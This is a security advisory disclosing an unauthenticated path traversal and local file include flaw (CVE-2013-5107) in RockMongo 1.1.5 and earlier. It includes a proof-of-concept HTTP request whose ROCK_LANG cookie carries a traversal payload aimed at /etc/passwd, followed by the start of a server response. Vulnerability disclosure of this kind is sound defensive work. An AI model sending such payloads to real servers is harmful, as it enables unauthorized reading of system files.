Trustwave SpiderLabs Security Advisory TWSL2013-026: Multiple Web Application Vulnerabilities in RockMongo Published: 8/16/13 Version: 1.0 Vendor: RockMongo (http://rockmongo.com/) Product: RockMongo Versions affected: v1.1.5 and prior Product description: RockMongo is a web-based database management GUI for the MongoDB database. Finding 1: Local File Include and Path Traversal Vulnerability **** Credit: Damian Profancik of Trustwave SpiderLabs CVE: CVE-2013-5107 CWE: CWE-23 RockMongo is vulnerable to a Local File Include and Path Traversal Vulnerability. Specifically, modifying the the ROCK_LANG cookie. This vulnerability does not require an attacker to be authenticated prior to performing the exploit. This is because the ROCK_LANG cookie is processed and included prior to logging in to the application. Below is a proof of concept for exploiting this vulnerability: Example 1 (Tested on RockMongo v1.1.2): #Request GET /index.php?action=login.index&host=0 HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:18.0) Gecko/20100101 Firefox/18.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: ROCK_LANG=../../../../etc/passwd%00 Connection: keep-alive #Response HTTP/1.1 200 OK Date: Mon, 10 Jun 2013 13:32:57 GMT Server: Apache/2.2.20 (Ubuntu) X-Powered-By: PHP/5.3.6-13ubuntu3.9 Set-Cookie: PHPSESSID=mla2qlmqa810h07qn6bie8qk77; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 4897 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html